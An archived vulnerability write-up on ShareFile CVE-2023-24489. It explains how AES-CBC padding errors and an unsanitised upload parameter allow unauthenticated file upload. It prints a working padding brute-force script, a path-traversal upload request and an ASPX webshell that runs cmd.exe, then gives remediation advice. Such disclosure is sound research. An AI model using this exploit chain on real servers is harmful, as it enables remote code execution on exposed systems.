

Encrypted Doesn't Mean Authenticated: ShareFile RCE (CVE-2023-24489)

Encrypted Doesn't Mean Authenticated: ShareFile RCE (CVE-2023-24489) - Author not stated, slcyber.io.

- Published: date not stated
- Original: <<https://www.assetnote.io/resources/research/encrypted-doesnt-mean-authenticated-sharefile-rce-cve-2023-24489>>
- Current location: <<https://www.slcyber.io/research/encrypted-doesnt-mean-authenticated-sharefile-rce-cve-2023-24489>>
- Preserved from: <https://www.slcyber.io/research/encrypted-doesnt-mean-authenticated-sharefile-rce-cve-2023-24489> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Encrypted Doesn't Mean Authenticated: ShareFile RCE (CVE-2023-24489)

[Back to Research blog](#)

Encrypted Doesn't Mean Authenticated: ShareFile RCE (CVE-2023-24489)

Get research alerts

Share on social

July 4, 2023

Lorem ipsum

Table of Contents

TOC Element

Introduction

As part of the security research here at Assetnote, one thing we have noticed is that some types of software are more fruitful than others. File upload and remote access software are

prime examples of this. In this post we are looking at the former, a file sharing application called ShareFile. A search online shows roughly 1000-6000 instances are internet accessible. This popularity, combined with the software being used to store sensitive data, meant if we found anything it could have quite an impact.

ShareFile is cloud-based file sharing and collaboration application. However, it provides users with the option to store files in their own data centre via what it calls “Storage Zone Connectors”. The software providing this feature is a .NET web application running under IIS called “Storage Zones Controller” (also sometimes called Storage Center) and this is what we decided to target.

Through our research we were able to achieve unauthenticated arbitrary file upload and full remote code execution by exploiting a seemingly innocuous cryptographic bug. Citrix has released a [security update](#) and assigned this issue CVE-2023-24489.

*We continue to perform original security research in an effort to alert our customers to zero-day vulnerabilities in their attack surface. As users of our ****Attack Surface Management*** platform, our customers are the first to know when they are affected by new vulnerabilities.**

Where to Start?

After installing Storage Zones Controller, we were greeted with a mix of .NET web technologies. There were multiple .aspx files, some IIS sub-applications and some MVC endpoints. We started our enumeration with the .aspx files as there was no extra work to determine how to access them. A quick way to narrow the search is to list all the paths from the webroot that end in .aspx and copy this list into a brute-forcing tool. Any requests that return a 200 are a good starting point.

```
$ find . | grep -e '.*\.aspx$' ./sp/upload.aspx ./sp/upload-streaming-2.aspx
./documentum/upload.aspx ./documentum/upload-streaming-2.aspx ./upload-threaded-1.aspx
./ConfigService/SMTPConfig.aspx ./ConfigService/Login.aspx ./ConfigService/Admin.aspx
./ConfigService/Networking.aspx ./ConfigService/PreFlightCheck.aspx
./ConfigService/ImportConfigSettings.aspx ./ConfigService/UpdatePassphrase.aspx
./thumbnail.aspx ./upload-resumable-2.aspx ./upload-streaming-1.aspx
./WopiServer/HeartBeat.aspx ./upload-resumable-3.aspx ./cifs/upload.aspx ./cifs/upload-
streaming-2.aspx ./heartbeat.aspx ./AdvancedStatus.aspx ./upload-singlechunk.aspx
./upload.aspx ./ProxyService/rest/storagecenter.aspx ./upload-resumable-1.aspx ./upload-
streaming-2.aspx ./upload-threaded-3.aspx ./upload-threaded-2.aspx ./rest/queue.aspx
```

The page /documentum/upload.aspx caught our attention. The filename implies it is for uploading files and the request returned a 200. Making /documentum/upload.aspx a great candidate for analysis. We used dnSpy to decompile the backing class for this page, DocumentumConnector.Uploaders.Upload, and started looking at the source code.

Authenticated, but Not Really

We looked through the source and saw that the page immediately sets the current principal from a cookie by calling `Auth.SetCurrentPrinicalFromSessionCookie`. We looked into this and found that, if there is no session cookie, the application just continues. So, not really an authentication check and not something we needed to worry about.

```
public static void SetCurrentPrinicalFromSessionCookie() { HttpCookie httpCookie =
HttpContext.Current.Request.Cookies["DocumentumConnector_AuthId"]; if (httpCookie !=
null) { string value = httpCookie.Value; if (!string.IsNullOrEmpty(value) &&
HttpContext.Current.Cache[value] != null) { IPrincipal principal =
(IPrincipal)HttpContext.Current.Cache[value]; HttpContext.Current.User = principal;
Thread.CurrentPrincipal = principal; } } }
```

The next security-adjacent check is one that decrypts the `parentid` query parameter. This is done by calling `FileUtility.GetDecryptedFolderPathById`. If decryption fails, the return value of this method is an empty string. This causes an error to be returned and page execution to stop.

```
... NameValueCollection keys = UploadLogic.GetKeys(HttpContext.Current); text =
keys["uploadid"]; text2 = keys["parentid"] ?? ""; if (text2.IsNullOrEmpty()) { string
text4 = string.Format("upload.aspx: ID='{0}' Missing parameters.", text2);
LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error, text4);
ApiHelper.WriteError(text4); base.Response.End(); } if (string.IsNullOrEmpty(text)) {
text = Guid.NewGuid().ToString("n"); } Upload.targetPath =
FileUtility.GetDecryptedFolderPathById(text2); if (Upload.targetPath.IsNullOrEmpty()) {
string text5 = string.Format("Upload.aspx: Could not resolve the target path from parent
id", Array.Empty<object>()); LogManager.WriteLog(LogLevel.Normal, LogMessageType.Error,
text5); ApiHelper.WriteError(text5); } ...
```

We will return to this method later, as it is the only thing preventing a trivial anonymous file upload on this page.

A Simple Path Traversal

Eventually, the page calls `ProcessRawPostedFile` with the arguments `filename`, `uploadId` and `parentid` coming from query parameters. The decrypted `parentid` parameter is also present via the `Upload.targetPath` member variable.

```
private int ProcessRawPostedFile(string filename, string uploadId, Hashtable files,
Hashtable fileHashes, string parentid, List<ItemUpload> itemsUploaded) { filename =
Utils.SanitizeFilename(filename); string text = string.Concat(new string[] {
DocumentumConnector.Util.OnPremise.ReadFromConfigFile("TempDir").TrimEnd(new char[] {
'/' } ), Path.DirectorySeparatorChar.ToString(), "ul-", uploadId,
Path.DirectorySeparatorChar.ToString() }); if (!Directory.Exists(text)) {
Directory.CreateDirectory(text); } string text2 = text + filename; string text3 =
Upload.targetPath + filename; LogManager.WriteLog1(LogLevel.Normal,
LogMessageType.Information, string.Format("upload.aspx.cs ProcessRawPostedFile(): using
new code={0}, Request.TotalBytes={1}",
!DocumentumConnector.Uploaders.Configuration.DisableFlashUploadImprovements,
```

```
base.Request.TotalBytes)); int totalBytes = base.Request.TotalBytes; byte[] array = new
byte[totalBytes]; Stream inputStream = base.Request.InputStream; inputStream.Read(array,
0, totalBytes); inputStream.Close(); FileStream fileStream = new FileStream(text2,
FileMode.Create, FileAccess.ReadWrite); fileStream.Write(array, 0, totalBytes);
fileStream.Close(); string text4 = null;
```

We noticed that filename is sanitised, but uploadId is not. This meant a path traversal was possible when these two values were concatenated. We also saw that the decrypted value, Upload.targetPath, is concatenated with filename but the result is never used. Similarly, the parentid query parameter is passed in and also not used.

```
string text3 = Upload.targetPath + filename;
```

At this stage, we had everything we needed to upload a webshell. However, we needed to provide an encrypted value for parentid. Otherwise page execution would always stop before the upload was processed. We looked for hardcoded keys, but were unlucky. So we decided to dig into the implementation of GetDecryptedFolderPathById. We were glad we did as we found a small mistake that meant the whole check could be bypassed.

Encryption != Authentication

On its own, encryption does not provide authentication, nor does it protect a message against tampering. Encryption is only a data transformation. It takes a stream of bytes and transforms them to a different stream of bytes. If the incorrect key is used, or the incoming stream is “incorrect”, the message will be transformed with no issue. However, whoever is reading the message will not recognise it as having any meaning. It will appear to be a random stream of bytes.

Since our only requirement is that the result is not an empty string, why does the check fail at all? Decrypting an invalid value should result in random bytes which is definitely not an empty string. We can see why by looking at what kind of encryption the application is using.

```
string text = string.Empty; try { Rfc2898DeriveBytes rfc2898DeriveBytes = new
Rfc2898DeriveBytes(passPhrase, OnPremise._salt); symmetricAlgorithm =
Encryption.Wrapper.CreateAESObject(); symmetricAlgorithm.Key =
rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.KeySize / 8); symmetricAlgorithm.IV =
rfc2898DeriveBytes.GetBytes(symmetricAlgorithm.BlockSize / 8); ICryptoTransform
cryptoTransform = symmetricAlgorithm.CreateDecryptor(symmetricAlgorithm.Key,
symmetricAlgorithm.IV); using (MemoryStream memoryStream = new
MemoryStream(Convert.FromBase64String(encryptedKey))) { using (CryptoStream cryptoStream
= new CryptoStream(memoryStream, cryptoTransform, 0)) { using (StreamReader streamReader
= new StreamReader(cryptoStream)) { text = streamReader.ReadToEnd(); } } } } catch
(Exception ex) { LogManager.WriteLog(LogLevel.High, LogMessageType.Error,
string.Format("ERROR:: DecryptKeyAES: Input[{0}] Output[{1}].", encryptedKey, text));
LogManager.WriteLog(LogLevel.High, LogMessageType.Error, string.Format("Exception: \n{0}
\n{1}", ex.Message, ex.StackTrace)); } return text;
```

The application is using AES and if an exception is thrown, the return value text is not set. If text is not set, our empty string check will always fail.

Block Ciphers and Padding

To understand why AES might throw an exception, we have to understand block ciphers. AES uses a block cipher with a fixed block size of 128 bits (16 bytes). This means that AES can only encrypt and decrypt data in blocks of 16 bytes. This is fine if all the messages are a multiple of 16 bytes, but not fine for other messages. To fix this problem, extra data is added to messages to ensure their length is a multiple of 16. This extra data is called “padding”.

For AES in .NET, the default padding mode is a scheme called PKCS#7. In this scheme the value of each byte added is the total number of bytes added. For example, given the following 9 byte message.

```
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 FF FF FF FF FF FF FF FF
```

To reach 16 bytes, 7 bytes of padding are added, each with the value 0x07.

```
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 FF FF FF FF FF FF FF FF 07 07 07 07 07 07 07
```

In .NET padding is handled automatically, it is added when the message is encrypted and when decrypted. This is great for the developer, as it means they do not need to worry about padding. However, when a message is decrypted, if the padding does not conform to the scheme, an exception is thrown. This is why our empty string check was failing, the application was throwing padding exceptions, causing the return value to always be an empty string.

We now knew how to bypass the check. We did not need to find a completely correct encrypted message, we only needed to find one with valid padding. This is much easier. The simplest message with valid padding is one where the final block has one byte of padding. For example.

```
?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01
```

Since the value of each byte will be random and we only care about the last byte, on average, 1 in every 256 randomly generated messages will decrypt with valid padding. We could brute-force this, but there is an easier method that exploits another quirk of block ciphers.

Cipher Block Chaining

A limitation with block ciphers on their own is that identical blocks will encrypt to the same value. This is an issue because it causes patterns present in the plaintext to also be present in the ciphertext. If patterns are present in the output, there is a good chance the encryption can be broken.

To overcome this problem, block ciphers use “modes of operation” which introduce randomisation to prevent identical blocks from being encrypted to the same value. The default mode of operation in .NET is called Cipher Block Chaining (CBC).

In CBC mode, each block is “chained” with the previously encrypted block. This is why an Initialisation Vector (IV) is sometimes needed for AES. The IV is the value used with for first block. In AES CBC mode the chaining is done by XORing each byte of the block with the corresponding byte in the previous block.

The snippet below shows how encryption works with this scheme.

```
`tempBlockZero = XorBlocks(plaintextBlocks[0], IV) ciphertextBlocks[0] =  
EncryptBlock(tempBlockZero)  
for n in range(1, numberOfBlocks): tempBlock = XorBlocks(plaintextBlocks[n],  
ciphertextBlocks[n-1]) ciphertextBlocks[n] = EncryptBlock(tempBlock) `
```

Decryption is the same process, but with the operations reversed.

```
`tempBlockZero = DecryptBlock(ciphertextBlocks[0]) plaintextBlocks[0] =  
XorBlocks(tempBlockZero, IV)  
for n in range(1, numberOfBlocks): tempBlock = DecryptBlock(ciphertextBlocks[n])  
plaintextBlocks[n] = XorBlocks(tempBlock, ciphertextBlocks[n-1]) `
```

For our exploit, we will need at least two blocks because we cannot control the IV. We are looking for a message which satisfies the following.

```
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- XX ciphertext (block 0) XOR -- -- -- -- --  
-- -- -- -- -- -- -- -- -- -- ?? temp block (block 1 decrypted) = -- -- -- -- --  
- - - - - - - - - - 01 our goal
```

We cannot know what the value of temp block is, but we know it will not change. We fully control XX and, because of how XOR works, all we need to do is iterate over all possible values until we hit the one that when XORed with temp block gives us our target value.

Since there are 256 possible values, on average we will need to try half of them. We now only need to make ~128 requests and are guaranteed to guess correctly after 256.

Enough Cryptography, Show Me the Exploit

To find a message with valid padding, we will use two blocks. We will vary the final byte of the first block and leave everything else the same. It does not matter what the other values are, as long as they stay the same.

If we get the error “Invalid request method - GET”, that means we passed the decryption section and reached the next check which ensures the request method is a POST. This is good enough for us as we only want to find the value for parentid at this stage.

```
`for i in range(0, 256): payload = [ # block 0 b'\x41', b'\x41', b'\x41', b'\x41', b'\x41',  
b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41',  
i.to_bytes(1, byteorder='little'),
```

```
# block 1 b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41',
b'\x41', b'\x41', b'\x41', b'\x41', b'\x41', b'\x41' ] payload = b''.join(payload) payload =
base64.b64encode(payload) payload = urllib.parse.quote(payload, safe='')

url = 'http: * //{ } /documentum/upload.aspx?parentid={ } &uploadid=x'.format(TARGET,
payload) * r = requests.get(url, verify=False) if r.status_code == 200: if 'Invalid request
method - GET' in r.text: print('Valid padding: { }'.format(payload)) sys.exit(0) else:
print('Invalid padding: { }'.format(payload)) `
```

We can see the output of this below.

```
$ python3 padder.py Invalid padding: QUFBBQUFBQUFBQUFBQUFBAEFBQUFBQUFBQUFBQUFBQUE%3D
Invalid padding: QUFBBQUFBQUFBQUFBQUFBQAUFBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBQAkFBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBQA0FBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBQBBEFBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBQBBUFBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBQBkFBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBQB0FBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBQBCEFBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBQBUCFBQUFBQUFBQUFBQUFBQUE%3D ... Invalid padding:
QUFBQUFBQUFBQUFBQUFBBgUFBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBBgkFBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBBg0FBQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBbhEfbQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBbhUfbQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBbhkfbQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBbh0fbQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBbiEfbQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBbiUfbQUFBQUFBQUFBQUFBQUE%3D Invalid padding:
QUFBQUFBQUFBQUFBQUFBbikfbQUFBQUFBQUFBQUFBQUE%3D Valid padding:
QUFBQUFBQUFBQUFBQUFBbi0fbQUFBQUFBQUFBQUFBQUE%3D
```

After several attempts, we found a value for parentid that did not throw a padding exception. We combined this with the path traversal to upload an .aspx file to a writable directory in the webroot. The final request was as follows.

```
`POST /documentum/upload.aspx?
parentid=QUFBQUFBQUFBQUFBQUFBi0FBQUFBQUFBQUFBQUE%3D&raw=1&unzip=o
n&uploadid=x\..\..\cifs&filename=x.aspx HTTP/1.1 Host: example.com Content-Length:
720
```

```
<%@ Page Language="C#" Debug="true" Trace="false" %> <%@ Import
Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <script
Language="c#" runat="server"> void Page_Load(object sender, EventArgs e) {
Response.Write("<pre>"); Response.Write(Server.HtmlEncode(ExcuteCmd()));
Response.Write("</pre>"); } string ExcuteCmd() { ProcessStartInfo psi = new
ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c whoami";
```

```
psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p =  
Process.Start(psi); StreamReader stmrdr = p.StandardOutput; string s =  
stmrdr.ReadToEnd(); stmrdr.Close(); return s; } </script> `
```

Finally, we requested the uploaded file to see the result of our hard work.

```
`GET /cifs/x.aspx HTTP/1.1 Host: example.com
```

```
HTTP/1.1 200 OK Cache-Control: private,no-store Content-Type: text/html; charset=utf-8  
Server: Microsoft-IIS/8.5 Access-Control-Max-Age: 540 Strict-Transport-Security: max-  
age=31536000 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-  
Options: DENY Date: Tue, 04 Jul 2023 04:32:24 GMT Content-Length: 41
```

```
<pre>nt authority\network service</pre> `
```

What Have We Learned?

Be careful when working with cryptographic code. It is easy to make subtle mistakes. A lot of .NET code we review makes this same mistake, but applications are often not vulnerable because of quirks in how the rest of the program is written.

Here we saw an instance of what might be called a [padding oracle attack](#). However, we did not need to exploit the oracle to decrypt or encrypt anything, so it is technically simpler than that.

We can guess why this mistake is so common. CBC mode and PKCS#7 padding are the default values for AES encryption in .NET. Additionally, the examples online often do not highlight the issue with these defaults. At the time of writing, the top five search results for “.NET AES encryption” all used these values and did not mention the potential vulnerability.

For the developers reading this, consider using a mode of encryption that [provides authentication](#). AES in Galois/Counter Mode (GCM) is a popular and fast choice. However, if you must use an older mode of operation, consider using the “Encrypt-then-MAC” approach. In this approach the data is encrypted with CBC mode and then an HMAC (Hashed Message Authentication Code) is generated and appended to the output. Before decryption the HMAC is used to verify that the encrypted payload has not been modified.

For the security researchers, keep an eye out for CBC mode encryption. Since CBC is the default, it is not hard to find. Look at how it behaves when invalid versus valid padding is provided. Does it result in an error? Are the errors different? Does it take longer or shorter to process? All of these can lead to a potential padding oracle attack.

Conclusions

In this post we saw how a few small errors in ShareFile lead to an unauthenticated file upload and then remote code execution. Although the particular endpoint is not enabled in all configurations, it has been common amongst the hosts we have tested. Given the

number of instances online and the reliability of the exploit, we have already seen a big impact from this vulnerability.

To find out if you are affected, please see the [security update](#) from Citrix with the details of what versions are vulnerable and how to upgrade, or reach out to us to organise a demo of our Attack Surface Management platform and identify where you are exposed to this vulnerability.

As always, customers of our [Attack Surface Management](#) platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.



Author

Dylan Pindur

Security Researcher at Searchlight Cyber

[Connect](#)

Explore related Content

Research

Out of Bounds, Out of Sandbox: RCE in Go JavaScript Engine

September 7, 2026

Research

Exploit brokers pay \$500,000 for a WordPress RCE. I found one with GPT5.6 Sol Ultra and \$25

July 20, 2026

Research

wp2shell: Pre Authentication RCE in WordPress Core

July 17, 2026

Research

Smashing the ServiceNow Sandbox - Pre Authentication RCE

July 14, 2026

Research

CargoWise WebTracker - The Keys Were in the Cargo

June 25, 2026

Research

Two Bypasses for Chrome's Sanitizer API

May 22, 2026

[View all](#)

Archived from <https://www.assetnote.io/resources/research/encrypted-doesnt-mean-authenticated-sharefile-rce-cve-2023-24489>. Rendered offline from the local Markdown copy.